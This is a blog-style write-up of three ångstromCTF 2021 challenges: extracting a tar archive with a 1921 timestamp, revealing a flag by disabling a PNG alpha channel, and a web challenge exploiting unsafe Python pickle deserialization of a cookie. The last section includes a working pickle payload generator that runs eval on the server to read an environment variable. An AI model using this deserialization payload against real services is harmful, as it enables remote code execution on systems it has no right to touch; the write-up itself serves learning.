readingTime:7 mins


The long weekend is here, and it’s time to grind on a CTF and do some fun challenges. ångstromCTF is here to deliver the goods. A great bunch of people in the US have sorted this out with some pretty legit sponsorship which means that they can afford to open the challenges to anyone, awesome!


Thanks to the students from Montgomery Blair High School in Silver Spring, Maryland who put in the effort to make this happen 👍




Points: 50; Category: misc


The archaeological team at ångstromCTF has uncovered an archive from over 100 years ago! Can you read the contents?

Access the file at /problems/2021/archaic/archive.tar.gz on the shell server.

Author: kmh


Okay, we have a gzipped tar archive which we need to expand. Only problem is that the archive has a date that doesn’t make sense.

First things first, let’s just try deflating it with a regular tar command (we have to do this in a directory we own, the one that stores the archive won’t work, so we make our own directory under $HOME):

$ tar -xzvf /problems/2021/archaic/archive.tar.gz
tar: flag.txt: implausibly old time stamp 1921-04-01 22:45:12

Wow, weird, that actually kind of worked and we have a flag file now but there’s one slight hitch. Because of the weird date, the permissions have gone all goofy too!

$ ls -la
total 12
drwxrwxr-x 2 team7771 team7771 4096 Apr  3 12:30 .
drwx------ 4 team7771 team7771 4096 Apr  3 12:27 ..
---------- 1 team7771 team7771   37 Apr  1  1921 flag.txt

The good news is we are the owners of the file, so now we just need to update the permissions bits of the files so that we can have at least read access.

$ chmod 600 flag.txt

$ ls -la
total 12
drwxrwxr-x 2 team7771 team7771 4096 Apr  3 12:30 .
drwx------ 4 team7771 team7771 4096 Apr  3 12:27 ..
-rw------- 1 team7771 team7771   37 Apr  1  1921 flag.txt

The file should be readable now.

$ cat flag.txt

I love the smell of flags in the morning, smells like… old tar? 🤔




Points: 60; Category: misc


Oh, fish! My dinner has turned transparent again. What will I eat now that I can’t eat that yummy, yummy, fish head, mmmmmm head of fish mm so good…

Author: kmh


Hmmm okay, we’re given an image file: fish.png which appears to be just an empty (completely transparent file).

Tried out binwalk and briefly scanned through the hex of the file, didn’t appear to be a steganography-related challenge.

The description mentions transparency, so I followed that as an avenue. Unlike JPEGs, PNGs support transparency by using an additional channel to store alpha values. JPEG is only RGB whereas PNG is ARGB. The question is, how do we disable the alpha channel?

There’s a great library for image manipulation called ImageMagick which is super handy for performing a variety of operations on images (one time I wrote a script to generate a QR code animated gif to store chunked data which was kind of cool).

Using the library is pretty straightforward in this instance, we’ll use the convert command:

$ convert fish.png -alpha off output.png

What this will do is take in fish.png, switch off the alpha channel, and then spit it out as output.png. Sure enough we get an image with our flag 💪

Revealed flag

This flag also wins the prize for one of the longest flags I’ve ever seen and the picture that contained it will fuel my nightmares for weeks 🙃

Thanks a lot @kmh 😐 (the challenge was cool though) 👍




Points: 70; Category: web


My other pickle challenges seem to be giving you all a hard time, so here’s a simpler one to get you warmed up.

jar.py, pickle.jpg, Dockerfile

Author: kmh


I thought I knew Python reasonably well before this, but the whole pickle thing is something I’d never touched before. To me it’s a weird and goofy way of serializing data that is too language-specific to really be worthwhile looking at, I generally opt for data formats with better interoperability. Anyway, the challenge is the challenge and learning new things is the aim of the game, so away we go.

We load up the challenge’s page and take a look at the resources provided. Server code is provided, so that makes it pretty clear to see what’s going on behind the scenes. We also have a massive picture of a jar of pickles. This is very much going to be about Python and pickling.

Our entrypoint is going to be this function in the server code:

def jar():
    contents = request.cookies.get('contents')
    if contents: items = pickle.loads(base64.b64decode(contents))
    else: items = []
    return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
        ''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)

Line 19 is particularly relevant because we can see that the server is blindly loading the value of the contents cookie without performing any kind of validation. This code is equivalent to:

Do we have a certain cookie? Yes? Well then I assume that its value is a base64-encoded pickle and that it will definitely be completely safe to de-serialize so I’m just going to do that now… nothing to see here!

— Line 19

That’s not security, that’s blind trust. Great job Line 19, nothing bad will ever happen with things setup this way /s 😒

We know the right path, now to get the flag. After reading the rest of the server code in jar.py, we also know that the flag is provided as an environment variable to the server process, evidenced in this line:

flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')

This is setting the flag variable to be the value of the $FLAG env variable, or falling back on actf{FAKE_FLAG} if the env variable is undefined.

We need to use our the cookie parsing vulnerability to inject our own code into the server to return the flag. Thankfully this is well documented online and we can pull some existing code (thanks mgeeky) to lean against for the RCE part.

We do have to make one small change to this code, as we want to execute Python code instead of system commands, so we’ll swap os.system for eval in the return value of the __reduce__() method.

import pickle
import sys
import base64

DEFAULT_COMMAND = "print('hello world')"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

class PickleRce(object):
    def __reduce__(self):
        import os
        return (eval, (COMMAND,))


Creates a base64-encoded pickle payload that will execute Python code when deserialized. Prints out the result to the terminal. See here for more about __reduce__() when pickling.

Let’s run the script to generate our base64-encoded pickle, and try it out as a cookie value.

$ python pickle-payload.py 'os.environ.get("FLAG")'

Run the script to generate a base64-encoded pickle that contains the eval payload we want to run on the server.

Okay great, we set that as the value of the contents cookie and we got the flag, except that it’s split up into individual characters and spread out all over the screen. 😞

The server code is expecting a list and we’ve provided a string so it’s slicing each character of the string and using them as list items. If we wrap our original payload with [], we’ll get on much better.

$ python pickle-payload.py '[os.environ.get("FLAG")]'

Regenerate the payload, encapsulating the RCE code inside a list.

Perfect! Now it treats our payload as a single item and returns the result as a single div with an easy to read flag. 🎉




I didn’t really manage to invest the amount of time and attention that I would have liked to on this CTF, other life stuff just got in the way. I at least managed to complete these challenges and attempted a few others but ran into difficulties and couldn’t make the final conversion for a flag. If it’s the same as the other years then the challenges will stay available at 2021.angstromctf.com so I might revisit this and update later on.

No two ways about it though, hats off to the kids down at MBHS though because they’ve smashed it out of the park once again.

sha256: 1bfaff9c54418dd3ceb52b28645ac7cfa2e9340d882a95b06cb7591c0cade145 (1431)
created: 2021-04-02 20:00:00 +1000 +1000